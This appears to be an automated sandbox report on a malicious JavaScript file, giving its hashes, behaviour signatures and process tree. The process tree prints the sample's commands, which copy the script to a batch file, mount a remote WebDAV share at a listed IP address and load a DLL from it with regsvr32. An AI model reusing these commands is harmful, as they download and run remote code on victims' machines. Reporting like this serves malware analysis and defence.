Analysis

  • max time kernel
    93s
  • max time network
    97s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240704-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240704-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09/07/2024, 08:01

General

  • Target

    8229244422874715833.js

  • Size

    5KB

  • MD5

    df5bf4caa9380cea0628600ba750c20a

  • SHA1

    1a5b7f44220582f28bc41f538a32dba02b3e6abe

  • SHA256

    fb7898c47cd72c206f2b9a802225f5533202047fd1621bf71ccff4a3f8862616

  • SHA512

    a10d14c64a6605350ed75488e40041ff8f3b13b9b14fab63e53a5874a9fcae63faabb191fdeee58a570d03623020b0a9851f43a93b22cbdcb6d77319a13238c1

  • SSDEEP

    96:GrxokPB6nsWLQQKU0wiKoLHZ08KZLZ0ocA5Rbk7Ru:Grxoz8XU0hZHZ08KZLZ0ocmRbk7Ru

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\8229244422874715833.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2072
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\8229244422874715833.js" "C:\Users\Admin\\npumvs.bat" && "C:\Users\Admin\\npumvs.bat"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4436
      • C:\Windows\system32\net.exe
        net use \\45.9.74.13@8888\DavWWWRoot\
        3⤵
          PID:1116
        • C:\Windows\system32\regsvr32.exe
          regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\65.dll
          3⤵
            PID:1884

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\npumvs.bat

        Filesize

        5KB

        MD5

        df5bf4caa9380cea0628600ba750c20a

        SHA1

        1a5b7f44220582f28bc41f538a32dba02b3e6abe

        SHA256

        fb7898c47cd72c206f2b9a802225f5533202047fd1621bf71ccff4a3f8862616

        SHA512

        a10d14c64a6605350ed75488e40041ff8f3b13b9b14fab63e53a5874a9fcae63faabb191fdeee58a570d03623020b0a9851f43a93b22cbdcb6d77319a13238c1